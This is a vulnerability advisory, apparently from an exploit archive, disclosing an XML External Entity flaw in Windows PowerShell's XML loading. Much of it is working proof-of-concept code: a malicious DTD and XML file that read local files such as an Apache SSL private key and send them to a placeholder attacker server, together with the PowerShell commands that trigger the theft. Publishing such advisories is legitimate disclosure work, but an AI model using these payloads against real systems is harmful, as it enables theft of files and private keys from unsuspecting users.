1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 |
[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-POWERSHELL-XML-EXTERNAL-ENTITY.txt [+] ISR: ApparitionSec Vendor: ================= www.microsoft.com Product: =========== PowerShell PowerShell (including Windows PowerShell and PowerShell Core) is a task automation and configuration management framework from Microsoft, consisting of a command-line shell and associated scripting language built on the .NET Framework. PowerShell provides full access to COM and WMI, enabling administrators to perform administrative tasks on both local and remote Windows systems as well as WS-Management and CIM enabling management of remote Linux systems and network devices. Vulnerability Type: =================== XML External Entity CVE Reference: ============== N/A Vulnerability Details: ===================== PowerShell can read and process XML files, this is by design. However, its XML parser is vulnerable to XXE attacks, if a user reads a malicious XML file using powershells XML API. This can potentially allow local files to be accessed and exfiltrated to an attackers server. **MSRC response: "behavior by design for parsing".** Issue is that this setting is default, this puts 'unknowing' users at risk for XXE attacks and file disclosure. After running PS to process an Evil XML file from Windows CL you may see errors like: "Cannot convert value "System.Object[]" to type "System.Xml.XmlDocument". Error: "Invalid character in the given encoding" OR "Exception calling "Load" with "1" argument(s): "Unexpected DTD declaration." However, the Local to Remote file access theft still works as planned... Tested Windows 7 SP1 PS C:\> $psversiontable Name Value ---- ----- CLRVersion 2.0.50727.5485 BuildVersion 6.1.7601.17514 PSVersion2.0 Exploit POC code(s): =================== Scenarios A/B: A) Reads XML from Web Server: ------------------------------- Access 'c:\Windows\msdfmap.ini' used by MS ADO Remote Service. python -m SimpleHTTPServer 8080 (ATTACKER-SERVER) 'payload.dtd' (ATTACKER-SERVER) <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http:// [ATTACKER-SERVER]:8080?%file;'>"> %all; 'PWN.xml'(ATTACKER-SERVER) <?xml version="1.0"?> <!DOCTYPE HYP3RLINX[ <!ENTITY % file SYSTEM "c:\Windows\msdfmap.ini"> <!ENTITY % dtd SYSTEM "http://[ATTACKER-SERVER]:8080/payload.dtd"> %dtd;]> <pwn>&send;</pwn> Run from PS CL to load XML: $vuln = New-Object System.Xml.XmlDocument $vuln.Load("http://[ATTACKER-SERVER]/PWN.xml") Users 'msdfmap.ini' file is accessed by attacker. B) Read XML from remote share in LAN: ---------------------------------------- Example uses three different computers. VICTIM-COMPUTER local machine using Powershell to read XML. REMOTE-SHARE is third computer in LAN where 'PWN.xml' is read from. ATTACKER-SERVER the place where files stolen from VICTIM-COMPUTER will be sent. Assuming user is running XAMPP, try target the servers SSL Private key. [ATTACKER-SERVER] python -m SimpleHTTPServer 8080 'payload.dtd' (Host on ATTACKER-SERVER) <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http:// [ATTACKER-SERVER]:8080?%file;'>"> %all; 'PWN.xml' (Host on REMOTE-SHARE) <?xml version="1.0"?> <!DOCTYPE HYP3RLINX[ <!ENTITY % file SYSTEM "C:\xampp\apache\conf\ssl.key\server.key"> <!ENTITY % dtd SYSTEM "http://[ATTACKER-SERVER]:8080/payload.dtd"> %dtd;]> <pwn>&send;</pwn> [VICTIM-COMPUTER] Run these examples from PowerShell Command Line. 'VULN.ps1' Get-WinEvent -FilterXml ([xml](Get-Content \\[REMOTE-SHARE]\home\username\PWN.xml)) OR $poc='\\[REMOTE-SHARE]\home\username\PWN.xml' $test=(Get-Content $poc) -as [Xml] Enjoy your private key file! Disclosure Timeline: =========================================================== Vendor Notification: November 14, 2016 Vendor: "behavior by design for parsing." November 23, 2016 December 5, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: ================ High [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. |